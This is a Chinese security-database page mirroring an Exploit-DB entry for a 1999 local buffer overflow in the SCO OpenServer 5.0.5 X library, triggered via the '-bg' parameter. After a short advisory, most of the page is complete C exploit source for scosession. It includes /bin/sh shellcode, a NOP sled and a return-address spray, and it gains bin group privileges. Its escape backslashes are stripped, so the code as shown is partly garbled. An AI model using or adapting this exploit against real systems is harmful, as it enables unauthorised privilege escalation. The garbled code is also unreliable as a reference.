SCO Open Server 5.0.5 – X Library Buffer Overflow (1)

SCO Open Server 5.0.5 – X Library Buffer Overflow (1)

漏洞ID 1053412 漏洞类型
发布时间 1999-09-09 更新时间 1999-09-09
图片[1]-SCO Open Server 5.0.5 – X Library Buffer Overflow (1)-安全小百科CVE编号 N/A
图片[2]-SCO Open Server 5.0.5 – X Library Buffer Overflow (1)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19499
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/638/info

A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.


Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.

Setuid bin applications known to be vulnerable include scosession. 

/* SCO 5.0.x
 * scosession local bin exploit (sgid bin)
 * Will set egid=2(bin)
 *
 * gcc -o scosessionx scosessionx.c
 *
 * ./scosessionx <offset> <bufsiz>
 *
 * Brock Tellier [email protected]
 */


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* [email protected] */
"xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
"xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
"xffxff/bin/shxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";


#define LEN 10000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
 fprintf(stderr, "Error: Usage: %s offset buffern", argv[0]);
 exit(0);
}
else if (argc == 3) {
 offset=atoi(argv[1]);
        buflen=atoi(argv[2]);
}
 else {
   offset=9000;
   buflen=2000;


 }


addr=get_sp();

fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.xn");
fprintf(stderr, "By Brock Tellier [email protected]");
fprintf(stderr, "Using addr: 0x%xn", addr-offset);


memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);

}

相关推荐: Oracle 8 oratclsh Suid Vulnerability

Oracle 8 oratclsh Suid Vulnerability 漏洞ID 1104781 漏洞类型 Configuration Error 发布时间 1999-04-29 更新时间 1999-04-29 CVE编号 N/A CNNVD-ID N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享